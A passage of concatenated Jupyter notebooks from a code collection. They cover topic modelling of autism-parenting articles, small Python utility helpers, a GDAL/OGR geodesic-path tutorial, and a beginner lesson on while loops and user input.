<td>category-applied-behavior-analysis-aba</td>\n", " <td>For children with autism spectrum disorder (AS...</td>\n", " <td>https://www.autismparentingmagazine.com/autism...</td>\n", " <td>['for', 'children', 'with', 'autism', 'spectru...</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>High Quality ABA Treatment:  What Every Parent...</td>\n", " <td>https://www.autismparentingmagazine.com/</td>\n", " <td>category-applied-behavior-analysis-aba</td>\n", " <td>Dr. Stephen Shore once said “If you’ve met one...</td>\n", " <td>https://www.autismparentingmagazine.com/high-q...</td>\n", " <td>['dr', 'stephen', 'shore', 'once', 'said', 'if...</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " title \\\n", "0 Autism, Head Banging and other Self Harming Be... \n", "1 High Quality ABA Treatment:  What Every Parent... \n", "\n", " source \\\n", "0 https://www.autismparentingmagazine.com/ \n", "1 https://www.autismparentingmagazine.com/ \n", "\n", " category \\\n", "0 category-applied-behavior-analysis-aba \n", "1 category-applied-behavior-analysis-aba \n", "\n", " text \\\n", "0 For children with autism spectrum disorder (AS... \n", "1 Dr. Stephen Shore once said “If you’ve met one... \n", "\n", " href \\\n", "0 https://www.autismparentingmagazine.com/autism... \n", "1 https://www.autismparentingmagazine.com/high-q... \n", "\n", " tokens \n", "0 ['for', 'children', 'with', 'autism', 'spectru... \n", "1 ['dr', 'stephen', 'shore', 'once', 'said', 'if... " ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "\n", "# Read dataframe\n", "input_fname=\"AutismParentMagazine-posts-tokens.csv\"\n", "\n", "# Get categories and ids from dataset\n", "df = pd.read_csv(input_fname,index_col=0)\n", "\n", "# Check if there are repeated elements, and make category a list.\n", "df=df.drop_duplicates()\n", "df=df.reset_index(drop=True)\n", "df.head(2)" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Title Autism\n", "['category-autism-articles' 'category-general']\n", "Title Autism\n", "['category-autism-articles' 'category-general']\n" ] } ], "source": [ "# Are there articles in several categories?\n", "for ii in df.index:\n", " title=df.loc[ii,['title']].values[0]\n", " rows=df.loc[df['title'] == title]\n", " ncategory=len(pd.unique(rows['category']))\n", " if ncategory > 1 :\n", " print(\"Title {}\".format(title))\n", " print(pd.unique(rows['category']))\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Only one article is found into two categories, the two categories are very similar, so I better merge them." ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [], "source": [ "# Join the two categories above into one.\n", "cat1='category-autism-articles'\n", "cat2='category-general'\n", "\n", "row_index=df.loc[df['category']==cat1].index\n", "for row in row_index:\n", " df.loc[row,['category']]=cat2\n", "\n", "#df.loc[df['category']==cat2]" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Extract series from df:\n", "categories=df['category']\n", "ids=df.index" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [], "source": [ "from ast import literal_eval \n", "\n", "# Get similarity matrices\n", "documents = df['tokens'].values\n", "for idoc in range(len(documents)):\n", " documents[idoc]=literal_eval(str(documents[idoc]))\n", "\n" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "LSI model\n", "N. topics 100, score 0.6901408450704225\n", "N. topics 200, score 0.6901408450704225\n", "N. topics 300, score 0.6901408450704225\n", "N. topics 400, score 0.6901408450704225\n" ] } ], "source": [ "corpus,dictionary = make_corpus(documents)\n", "\n", "\n", "tfidf = models.TfidfModel(corpus)\n", "#tfidf.save('tfidf.save')\n", "print(\"LSI model\")\n", "\n", "for num_topics in range(100,500,100):\n", " matsim,lsi = make_lsi_similarity_matrix(tfidf[corpus], dictionary, num_topics)\n", " model_score= get_model_score(ids,matsim,categories)\n", " print(\"N. topics {}, score {}\".format(num_topics,model_score))\n", "\n", "\n", "\n" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "LDA model\n", "N. topics 100, score 0.4413145539906103\n", "N. topics 200, score 0.2269170579029734\n", "N. topics 300, score 0.215962441314554\n", "N. topics 400, score 0.13615023474178403\n" ] } ], "source": [ "print(\"LDA model\")\n", "\n", "for num_topics in range(100,500,100):\n", " matsim,lda = make_lda_similarity_matrix(corpus, dictionary,num_topics)\n", " model_score= get_model_score(ids,matsim,categories)\n", " print(\"N. topics {}, score {}\".format(num_topics,model_score))\n" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "N. topics 10, score 0.7151799687010955\n", "N. topics 20, score 0.6447574334898278\n", "N. topics 30, score 0.6791862284820032\n", "N. topics 40, score 0.6103286384976526\n", "N. topics 50, score 0.5837245696400626\n", "N. topics 60, score 0.5305164319248826\n", "N. topics 70, score 0.5054773082942097\n", "N. topics 80, score 0.46322378716744916\n", "N. topics 90, score 0.5117370892018779\n" ] } ], "source": [ "for num_topics in range(10,100,10):\n", " matsim,lda = make_lda_similarity_matrix(corpus, dictionary,num_topics)\n", " model_score= get_model_score(ids,matsim,categories)\n", " print(\"N. topics {}, score {}\".format(num_topics,model_score))\n" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "N. topics 2, score 0.5852895148669797\n", "N. topics 4, score 0.6901408450704225\n", "N. topics 6, score 0.7856025039123631\n", "N. topics 8, score 0.755868544600939\n" ] } ], "source": [ "for num_topics in range(2,10,2):\n", " matsim,lda = make_lda_similarity_matrix(corpus, dictionary,num_topics)\n", " model_score= get_model_score(ids,matsim,categories)\n", " print(\"N. topics {}, score {}\".format(num_topics,model_score))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.1" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

axxiao/tuobi

axtools/tools.ipynb

1

6709

{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "\"\"\"\n", "The common tools\n", "\"\"\"" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import re\n", "def mysearch(orig_str,begin,end=None,strip=False):\n", " \"\"\"\n", " The generator function to return all information that in between start/end key words\n", " \n", " Input:\n", " orig_str: the string to be searched\n", " begin: the keyword for begining (exclusive)\n", " end [Optional]: the keyword for the end (exclusive), if not defined, get all the info before next begin\n", " strip [Optional]: default to False, which will not strip info if empty\n", " \n", " Output:\n", " List of all result (yield)\n", " \"\"\"\n", " first=orig_str.find(begin)\n", " for patt in orig_str[first:].split(begin):\n", " if strip:\n", " patt=patt.strip()\n", " if end==None:\n", " if len(patt)>0:\n", " yield patt\n", " else:\n", " end_pos=patt.find(end)\n", " if end_pos>0 or (strip==False and end_pos==0):\n", " yield patt[:end_pos]" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def nvl_dict(in_dict,key_name,default):\n", " \"\"\"\n", " Try to get a value from dict, if not return the default value\n", " \n", " input:\n", " in_dict: the dict to be looked up\n", " name: the name of item\n", " default: default value\n", " \"\"\"\n", " rtn=default\n", " if key_name in in_dict:\n", " rtn=in_dict[key_name]\n", " return rtn" ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def get_name(obj):\n", " if hasattr(obj,'name'):\n", " nm=obj.name\n", " else:\n", " nm=str(obj)\n", " return nm\n", "\n", "def has_functions(obj,methods,raise_error_flag=True):\n", " \"\"\"\n", " To check if object has method as a function\n", " Inputs:\n", " obj: the object\n", " methods: the list of functions to check\n", " raise_error_flag: [default to True], if True, raise ValueError if not found the function\n", " Output:\n", " return the result True/ False\n", " \n", " \"\"\"\n", " #'status' in dir(services[service_name])\n", " lkp=dir(obj)\n", " rtn=False\n", " missed_list=set(methods)-set(lkp)\n", " if len(missed_list)>0:\n", " err_msg='Object '+get_name(obj)+'['+str(type(obj))+'] does not have expected function '+str(missed_list)\n", " else:\n", " rtn=True\n", " invlid_list=[]\n", " for mth in methods:\n", " if not callable(getattr(obj,mth)):\n", " #find a not callable\n", " rtn=False\n", " invlid_list.append(mth)\n", " err_msg='Object '+get_name(obj)+'['+str(type(obj))+'] has attribute '+str(invlid_list)+' NOT callable!'\n", " #if all are included\n", " \n", " \n", " if rtn==False and raise_error_flag:\n", " #Raise error\n", " raise ValueError(err_msg)\n", " return rtn\n", "\n", "def has_function(obj,method,raise_error_flag=True):\n", " \"\"\"\n", " To check if object has method as a function\n", " Inputs:\n", " obj: the object\n", " method: the function to check\n", " raise_error_flag: [default to True], if True, raise ValueError if not found the function\n", " Output:\n", " return the result True/ False\n", " \n", " \"\"\"\n", " #'status' in dir(services[service_name])\n", " print(obj,method)\n", " rtn=hasattr(obj,method) and callable(getattr(obj,method))\n", " if rtn==False and raise_error_flag:\n", " #Raise error\n", " raise ValueError('Object '+get_name(obj)+'['+str(type(obj))+'] does not have expected function '+method)\n", " return rtn" ] }, { "cell_type": "code", "execution_count": 58, "metadata": { "collapsed": false }, "outputs": [], "source": [ "def tryrun(function,*args,**kwargs):\n", " \"\"\"\n", " try to run the function in standard try cacth block, to reduce coding\n", " \n", " Input:\n", " 1. The function to be run\n", " 2. Arguments (if any)\n", " 3. Key word arguments (if any)\n", " \n", " Output:\n", " True/ False: True= Succeeded, False=Failed with error\n", " The return the original function\n", " \n", " \"\"\"\n", " try:\n", " return True,function(*args,**kwargs)\n", " except Exception as e:\n", " return False,e\n", "\n", "\n", " " ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# This example requires the requests library be installed. You can learn more\n", "# about the Requests library here: http://docs.python-requests.org/en/latest/\n", "\n", "from requests import get\n", "def get_pulic_ip():\n", " \"\"\"\n", " Return the public ip of the requested machine\n", " \n", " Input: N/A\n", " \n", " Output: IP V4 string xxx.xxx.xxx.xxx\n", " \"\"\"\n", " ip = get('https://api.ipify.org').text\n", " return ip" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.2" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

OSGeo-live/CesiumWidget

GSOC/notebooks/Access to Geospatial data/GDAL-OGR with Python.ipynb

1

5698

{ "cells": [ { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "<h1><center>[Notebooks](../) - [Access to Geospatial data](../Access to Geospatial data)</center></h1>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This notebook is heavly based on the [Python GDAL/OGR Cookbook](https://pcjericks.github.io/py-gdalogr-cookbook/)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this first example we'll learn how to generate a proper OGR geometry of type \"Geometry Collection\" which allow us to store multiple types of geometry (point, line, polygon) in a single vector file (note: this is a great advantage compared with the \"standard but obsolete\" ESRI Shape File data format, which is limited to only one type of geometry). " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's re-use the example from the notebook in [Numerical Cartograph/The Geodesic Problem](../Numerical Cartography/The Geodesic Problem.ipynb), where using [geograhiclib]() we compute the shortest path (geodesic) from New York, (NY) to Delhi, (India):" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from geographiclib.geodesic import Geodesic\n", "\n", "lat1,lon1 = (40.7143528, -74.0059731) # New York, NY\n", "lat2,lon2 = (1.359, 103.989) # Delhi, India\n", "g = Geodesic.WGS84.Inverse(lat1, lon1, lat2, lon2)\n", "g" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now compute a list of points along the geodesic curve with a fixed distance of 100000m" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "gc = [Geodesic.WGS84.Direct(lat1, lon1, g['azi1'], i) for i in range(0,int(g['s12']),100000)]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now let's start with OGR! \n", "\n", "We will first create a geometry collection with:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from osgeo import ogr\n", "geomcol = ogr.Geometry(ogr.wkbGeometryCollection)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "let's add 2 point features for the 2 location we used to compute the geodesic curve:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "point1 = ogr.Geometry(ogr.wkbPoint)\n", "point1.AddPoint(lon1,lat1)\n", "geomcol.AddGeometry(point1)\n", "\n", "point2 = ogr.Geometry(ogr.wkbPoint)\n", "point2.AddPoint(lon2,lat2)\n", "geomcol.AddGeometry(point2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's add to our GeometryCollection a new line feature:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "line = ogr.Geometry(ogr.wkbLineString)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And let's populate the newly generated line feature looping trought the list of coordinates of our geodesic path." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "[line.AddPoint(i['lon2'],i['lat2']) for i in gc]\n", "geomcol.AddGeometry(line)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "And finally export the data as GeoJson string and paste it online for easy visualization ong github:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "data = geomcol.ExportToJson()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "To save on file the new dataset we will ```echo``` the ```geojson``` string to a file and then use the ```gist``` utility to upload the data online:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "!echo '{data}' > /tmp/geojson.geojson" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "!gist -p /tmp/geojson.geojson" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from CesiumWidget import CesiumWidget" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cesiumExample = CesiumWidget(width=\"100%\",geojson=data, enable_lighting=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "cesiumExample" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.0" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

leriomaggio/python-in-a-notebook

05 While Loops and User input.ipynb

1

36432

{ "cells": [ { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Loops, Iteration Schemas and Input\n", "===" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "While loops are really useful because they let your program run until a user decides to quit the program. They set up an infinite loop that runs until the user does something to end the loop. This section also introduces the first way to get input from your program's users." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name=\"top\"></a>Contents\n", "===\n", "- [What is a `while` loop?](#what)\n", " - [General syntax](#general_syntax)\n", " - [Example](#example)\n", " - [Exercises](#exercises_while)\n", "- [Accepting user input](#input)\n", " - [General syntax](#general_user_input)\n", " - [Example](#example_user_input)\n", " - [Exercises](#exercises_input)\n", "- [Using while loops to keep your programs running](#keep_running)\n", " - [Exercises](#exercises_running_input)\n", "- [Using while loops to make menus](#menus)\n", "- [Using while loops to process items in a list](#process_list)\n", "- [Accidental Infinite loops](#infinite_loops)\n", " - [Exercises](#exercises_infinite_loops)\n", "- [Overall Challenges](#overall_challenges)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## The FOR (iteration) loop" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "The `for` loop statement is the most widely used iteration mechanisms in Python.\n", "\n", "* Almost every structure in Python can be iterated (*element by element*) by a `for` loop\n", " - a list, a tuple, a dictionary, $\\ldots$ (more details will follows)\n", "\n", "* In Python, also `while` loops are permitted, but `for` is the one you would see (and use) most of the time!" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='what'></a>What is a while loop?\n", "===" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "A while loop tests an initial condition. If that condition is true, the loop starts executing. Every time the loop finishes, the condition is reevaluated. As long as the condition remains true, the loop keeps executing. As soon as the condition becomes false, the loop stops executing." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "<a name='general_syntax'></a>General syntax\n", "---" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Set an initial condition.\n", "game_active = True\n", "\n", "# Set up the while loop.\n", "while game_active:\n", " # Run the game.\n", " # At some point, the game ends and game_active will be set to False.\n", " # When that happens, the loop will stop executing.\n", " \n", "# Do anything else you want done after the loop runs." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "- Every while loop needs an initial condition that starts out true.\n", "- The `while` statement includes a condition to test.\n", "- All of the code in the loop will run as long as the condition remains true.\n", "- As soon as something in the loop changes the condition such that the test no longer passes, the loop stops executing.\n", "- Any code that is defined after the loop will run at this point." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "<a name='example'></a>Example\n", "---\n", "Here is a simple example, showing how a game will stay active as long as the player has enough power." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "You are still playing, because your power is 5.\n", "You are still playing, because your power is 4.\n", "You are still playing, because your power is 3.\n", "You are still playing, because your power is 2.\n", "You are still playing, because your power is 1.\n", "\n", "Oh no, your power dropped to 0! Game Over.\n" ] } ], "source": [ "# The player's power starts out at 5.\n", "power = 5\n", "\n", "# The player is allowed to keep playing as long as their power is over 0.\n", "while power > 0:\n", " print(\"You are still playing, because your power is %d.\" % power)\n", " # Your game code would go here, which includes challenges that make it\n", " # possible to lose power.\n", " # We can represent that by just taking away from the power.\n", " power = power - 1\n", " \n", "print(\"\\nOh no, your power dropped to 0! Game Over.\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name='exercises_while'></a>Exercises\n", "---\n", "#### Growing Strength\n", "- Make a variable called strength, and set its initial value to 5.\n", "- Print a message reporting the player's strength.\n", "- Set up a while loop that runs until the player's strength increases to a value such as 10.\n", "- Inside the while loop, print a message that reports the player's current strength.\n", "- Inside the while loop, write a statement that increases the player's strength.\n", "- Outside the while loop, print a message reporting that the player has grown too strong, and that they have moved up to a new level of the game.\n", "- Bonus: Play around with different cutoff levels for the value of *strength*, and play around with different ways to increase the strength value within the while loop." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "# Ex 6.1 : Growing Strength\n", "\n", "# put your code here" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='input'></a>Accepting user input\n", "===" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Almost all interesting programs accept input from the user at some point. You can start accepting user input in your programs by using the `input()` function. The input function displays a messaget to the user describing the kind of input you are looking for, and then it waits for the user to enter a value. When the user presses Enter, the value is passed to your variable." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "<a name='general_user_input'></a>General syntax\n", "---\n", "The general case for accepting input looks something like this:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [], "source": [ "# Get some input from the user.\n", "variable = input('Please enter a value: ')\n", "# Do something with the value that was entered." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "You need a variable that will hold whatever value the user enters, and you need a message that will be displayed to the user." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "<a name='example_user_input'></a>Example\n", "---\n", "In the following example, we have a list of names. We ask the user for a name, and we add it to our list of names." ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Please tell me someone I should know: jessica\n", "['guido', 'tim', 'jesse', 'jessica']\n" ] } ], "source": [ "# Start with a list containing several names.\n", "names = ['guido', 'tim', 'jesse']\n", "\n", "# Ask the user for a name.\n", "new_name = input(\"Please tell me someone I should know: \")\n", "\n", "# Add the new name to our list.\n", "names.append(new_name)\n", "\n", "# Show that the name has been added to the list.\n", "print(names)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name='exercises_input'></a>Exercises\n", "---\n", "#### Game Preferences\n", "- Make a list that includes 3 or 4 games that you like to play.\n", "- Print a statement that tells the user what games you like.\n", "- Ask the user to tell you a game they like, and store the game in a variable such as `new_game`.\n", "- Add the user's game to your list.\n", "- Print a new statement that lists all of the games that we like to play (*we* means you and your user)." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "# Ex 6.2 : Game Preferences\n", "\n", "# put your code here" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='keep_running'></a>Using while loops to keep your programs running\n", "===" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "-" } }, "source": [ "Most of the programs we use every day run until we tell them to quit, and in the background this is often done with a while loop." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Here is an example of how to let the user enter an arbitrary number of names." ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false, "slideshow": { "slide_type": "-" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Please tell me someone I should know, or enter 'quit': guido\n", "Please tell me someone I should know, or enter 'quit': jesse\n", "Please tell me someone I should know, or enter 'quit': jessica\n", "Please tell me someone I should know, or enter 'quit': tim\n", "Please tell me someone I should know, or enter 'quit': quit\n", "['guido', 'jesse', 'jessica', 'tim', 'quit']\n" ] } ], "source": [ "# Start with an empty list. You can 'seed' the list with\n", "# some predefined values if you like.\n", "names = []\n", "\n", "# Set new_name to something other than 'quit'.\n", "new_name = ''\n", "\n", "# Start a loop that will run until the user enters 'quit'.\n", "while new_name != 'quit':\n", " # Ask the user for a name.\n", " new_name = input(\"Please tell me someone I should know, or enter 'quit': \")\n", "\n", " # Add the new name to our list.\n", " names.append(new_name)\n", "\n", "# Show that the name has been added to the list.\n", "print(names)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "That worked, except we ended up with the name 'quit' in our list. We can use a simple `if` test to eliminate this bug:" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false, "slideshow": { "slide_type": "fragment" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Please tell me someone I should know, or enter 'quit': guido\n", "Please tell me someone I should know, or enter 'quit': jesse\n", "Please tell me someone I should know, or enter 'quit': jessica\n", "Please tell me someone I should know, or enter 'quit': tim\n", "Please tell me someone I should know, or enter 'quit': quit\n", "['guido', 'jesse', 'jessica', 'tim']\n" ] } ], "source": [ "# Start with an empty list. You can 'seed' the list with\n", "# some predefined values if you like.\n", "names = []\n", "\n", "# Set new_name to something other than 'quit'.\n", "new_name = ''\n", "\n", "# Start a loop that will run until the user enters 'quit'.\n", "while new_name != 'quit':\n", " # Ask the user for a name.\n", " new_name = input(\"Please tell me someone I should know, or enter 'quit': \")\n", "\n", " # Add the new name to our list.\n", " if new_name != 'quit':\n", " names.append(new_name)\n", "\n", "# Show that the name has been added to the list.\n", "print(names)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "This is pretty cool! We now have a way to accept input from users while our programs run, and we have a way to let our programs run until our users are finished working." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "<a name='exercises_running_input'></a>Exercises\n", "---\n", "#### Many Games\n", "- Modify *[Game Preferences](#exercises_input)* so your user can add as many games as they like." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "slideshow": { "slide_type": "skip" } }, "outputs": [], "source": [ "# Ex 6.3 : Many Games\n", "\n", "# put your code here" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "skip" } }, "source": [ "[top](#top)" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "<a name='menus'></a>Using while loops to make menus\n", "===\n", "You now have enough Python under your belt to offer users a set of choices, and then respond to those choices until they choose to quit." ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "fragment" } }, "source": [ "Let's look at a simple example, and then analyze the code:" ] }, { "cell_type": "code", "execution_count": 33, "metadata": { "collapsed": false, "slideshow": { "slide_type": "subslide" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Welcome to the nature center. What would you like to do?\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? 1\n", "\n", "Here's a bicycle. Have fun!\n", "\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? 3\n", "\n", "Here's a map. Can you leave a trip plan for us?\n", "\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? q\n", "\n", "Thanks for playing. See you later.\n", "\n", "Thanks again, bye now.\n" ] } ], "source": [ "# Give the user some context.\n", "print(\"\\nWelcome to the nature center. What would you like to do?\")\n", "\n", "# Set an initial value for choice other than the value for 'quit'.\n", "choice = ''\n", "\n", "# Start a loop that runs until the user enters the value for 'quit'.\n", "while choice != 'q':\n", " # Give all the choices in a series of print statements.\n", " print(\"\\n[1] Enter 1 to take a bicycle ride.\")\n", " print(\"[2] Enter 2 to go for a run.\")\n", " print(\"[3] Enter 3 to climb a mountain.\")\n", " print(\"[q] Enter q to quit.\")\n", " \n", " # Ask for the user's choice.\n", " choice = input(\"\\nWhat would you like to do? \")\n", " \n", " # Respond to the user's choice.\n", " if choice == '1':\n", " print(\"\\nHere's a bicycle. Have fun!\\n\")\n", " elif choice == '2':\n", " print(\"\\nHere are some running shoes. Run fast!\\n\")\n", " elif choice == '3':\n", " print(\"\\nHere's a map. Can you leave a trip plan for us?\\n\")\n", " elif choice == 'q':\n", " print(\"\\nThanks for playing. See you later.\\n\")\n", " else:\n", " print(\"\\nI don't understand that choice, please try again.\\n\")\n", " \n", "# Print a message that we are all finished.\n", "print(\"Thanks again, bye now.\")" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "subslide" } }, "source": [ "Our programs are getting rich enough now, that we could do many different things with them. Let's clean this up in one really useful way. There are three main choices here, so let's define a function for each of those items. This way, our menu code remains really simple even as we add more complicated code to the actions of riding a bicycle, going for a run, or climbing a mountain." ] }, { "cell_type": "code", "execution_count": 34, "metadata": { "collapsed": false, "slideshow": { "slide_type": "subslide" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "\n", "Welcome to the nature center. What would you like to do?\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? 1\n", "\n", "Here's a bicycle. Have fun!\n", "\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? 3\n", "\n", "Here's a map. Can you leave a trip plan for us?\n", "\n", "\n", "[1] Enter 1 to take a bicycle ride.\n", "[2] Enter 2 to go for a run.\n", "[3] Enter 3 to climb a mountain.\n", "[q] Enter q to quit.\n", "\n", "What would you like to do? q\n", "\n", "Thanks for playing. See you later.\n", "\n", "Thanks again, bye now.\n" ] } ], "source": [ "# Define the actions for each choice we 